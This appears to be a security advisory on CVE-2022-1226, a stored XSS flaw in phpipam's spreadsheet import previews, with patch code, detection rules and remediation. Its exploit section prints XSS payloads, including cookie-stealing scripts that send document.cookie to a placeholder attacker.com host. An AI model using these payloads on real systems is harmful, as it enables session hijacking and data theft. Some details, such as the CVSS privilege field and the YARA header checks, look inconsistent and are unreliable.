CVE-2022-1226

Executive Summary

CVE-2022-1226 is a stored Cross-Site Scripting (XSS) vulnerability in phpipam, an open-source IP Address Management (IPAM) tool. The vulnerability exists in the import data set feature, specifically within multiple preview endpoints. An attacker can upload a specially crafted spreadsheet file (e.g., CSV, XLSX) containing malicious JavaScript payloads in cell values. When an administrator or user with import privileges previews the imported data, the payload executes in their browser context. This can lead to session hijacking, data theft, and defacement of the phpipam interface. The vulnerability affects all versions prior to 1.4.7 and has a CVSS score of 3.5 (Low), but its impact is amplified in multi-tenant or shared environments.

Supply Chain & Package Security

phpipam is a PHP-based application distributed via GitHub and Docker. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their phpipam installation and ensure they are using official sources.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must preview the uploaded spreadsheet)
• Scope: Unchanged
• Confidentiality Impact: Low (cookie theft, data exposure)
• Integrity Impact: Low (defacement, script injection)
• Availability Impact: None

Threat Level: Low to Medium. While the CVSS score is low, the vulnerability is trivial to exploit and can lead to significant lateral movement if the victim has elevated privileges.

Deep Dive & Mechanics

The vulnerability resides in the import preview functionality of phpipam. When a user uploads a spreadsheet file (CSV, XLSX, ODS) for importing VLANs, subnets, IP addresses, devices, etc., the application parses the file and displays a preview table of the data before final import. The affected endpoints include:

• import-vlan-preview.php
• import-subnets-preview.php
• import-vrf-preview.php
• import-ipaddr-preview.php
• import-devtype-preview.php
• import-devices-preview.php
• import-l2dom-preview.php

The application fails to sanitize or encode cell values before rendering them in the HTML table. An attacker can embed JavaScript payloads in spreadsheet cells, such as:

<script>alert('XSS')</script>
<img src=x onerror=alert(1)>

When the victim previews the import, the payload executes. The attack does not require authentication if the import feature is exposed to unauthenticated users (though typically it requires a logged-in user with import permissions).

Root Cause: Lack of output encoding when displaying spreadsheet cell data in the preview table. The application uses echo or similar functions without htmlspecialchars() or equivalent sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.4.7):

// In import-ipaddr-preview.php (simplified)
foreach ($data as $row) {
    echo "<tr>";
    foreach ($row as $cell) {
        echo "<td>" . $cell . "</td>"; // No sanitization
    }
    echo "</tr>";
}

Patched Code (1.4.7+):

// In import-ipaddr-preview.php (simplified)
foreach ($data as $row) {
    echo "<tr>";
    foreach ($row as $cell) {
        echo "<td>" . htmlspecialchars($cell, ENT_QUOTES, 'UTF-8') . "</td>"; // Sanitized
    }
    echo "</tr>";
}

The patch applies htmlspecialchars() to all cell values, converting special characters to HTML entities and preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a phpipam instance (version < 1.4.7) with the import feature enabled.
• Ability to upload a spreadsheet file (CSV, XLSX, ODS).

Exploit Steps:

1. Create a spreadsheet (e.g., CSV) with a malicious payload in a cell. Example:

   name,description
   "Test VLAN","<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
   

2. Log in to phpipam (or if unauthenticated access is possible, skip this step).
3. Navigate to an import page (e.g., import-vlan-preview.php).
4. Upload the malicious spreadsheet.
5. The victim (or the attacker themselves) will see the preview page, and the JavaScript executes.

Advanced Payload:

// Steal cookies and send to attacker
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);

Blue Team (Defender)

Detection:

• Monitor for unusual spreadsheet uploads containing <script>, onerror, onload, or other HTML/JavaScript patterns.
• Use WAF rules to block uploads with XSS payloads in file content.
• Restrict import feature to trusted users only.

Hunting:

• Search web server logs for requests to import-*-preview.php with POST parameters containing suspicious patterns.
• Check for outbound connections from the phpipam server to unknown domains (potential cookie exfiltration).

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
• Unusual spreadsheet file uploads with MIME types text/csv, application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.

File IOCs:

• Spreadsheet files containing JavaScript payloads in cells (e.g., <script>, onerror).
• Log entries showing access to import-*-preview.php with non-standard parameters.

Host IOCs:

• Modified phpipam files (if attacker gained write access via XSS).
• Unexpected JavaScript execution in browser console.

Detection Engineering

YARA Rule

rule phpipam_cve_2022_1226_xss_spreadsheet {
    meta:
        description = "Detects spreadsheet files with XSS payloads targeting phpipam CVE-2022-1226"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-1226"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        (uint32(0) == 0x3C3F7870 or uint32(0) == 0xEFBBBF or uint32(0) == 0xFFFE) and
        (any of ($xss*))
}

Sigma Rule

title: Phpipam Import Preview XSS (CVE-2022-1226)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2022-1226 via malicious spreadsheet uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/import-vlan-preview.php'
            - '/import-subnets-preview.php'
            - '/import-vrf-preview.php'
            - '/import-ipaddr-preview.php'
            - '/import-devtype-preview.php'
            - '/import-devices-preview.php'
            - '/import-l2dom-preview.php'
    filter:
        cs-uri-query|contains: 'filename='
    condition: selection and filter
falsepositives:
    - Legitimate spreadsheet uploads with special characters
level: medium
tags:
    - attack.t1190
    - cve.2022.1226

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-1226 phpipam Import Preview XSS"; flow:to_server,established; content:"POST"; http_method; content:"import-"; http_uri; pcre:"/import-(vlan|subnets|vrf|ipaddr|devtype|devices|l2dom)-preview\.php/Ui"; content:"filename="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpipam to version 1.4.7 or later.
2. If upgrade is not possible, apply the patch manually by adding htmlspecialchars() to all cell output in the preview endpoints.
3. Restrict access to import functionality to trusted administrators only.
4. Implement a Web Application Firewall (WAF) rule to block uploads containing XSS patterns.

Long-term Measures:

• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits of phpipam and other web applications.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor for new CVEs and apply patches promptly.

Workaround:

• Disable the import feature entirely if not needed, by removing or restricting access to the preview PHP files.

Valters IT
Securing digital frontiers, one CVE at a time.